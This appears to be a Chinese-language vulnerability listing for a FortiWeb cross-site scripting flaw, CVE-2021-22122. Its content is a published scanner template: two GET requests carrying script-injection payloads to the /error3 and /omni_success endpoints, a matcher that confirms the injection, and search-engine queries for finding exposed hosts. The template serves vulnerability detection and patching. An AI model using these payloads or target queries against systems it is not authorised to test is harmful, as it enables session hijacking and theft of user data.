CVE-2021-22122: FortiWeb - Cross Site Scripting

日期: 2025-08-01 | 影响软件: FortiWeb | POC: 已公开

漏洞描述

FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.

PoC代码[已公开]

id: CVE-2021-22122

info:
  name: FortiWeb - Cross Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
  impact: |
    Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
    - https://fortiguard.com/advisory/FG-IR-20-122
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22122
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22122
    cwe-id: CWE-79
    epss-score: 0.61542
    epss-percentile: 0.98285
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiweb
    shodan-query: http.title:"fortiweb - "
    fofa-query: title="fortiweb - "
    google-query: intitle:"fortiweb - "
  tags: cve2021,cve,fortiweb,xss,fortinet

http:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert('document.domain')"
          - "No policy has been chosen."
        condition: and
# digest: 490a0046304402207e46103d3f3f0fbb17efcf40c04217cb087d7fe23caad74909507e871a74de92022003cddbf68b20f1f281a2850ca3d637b2bfefe217b6108377841c38e226367381:922c64590222798bb761d5b6d8e72950

相关漏洞推荐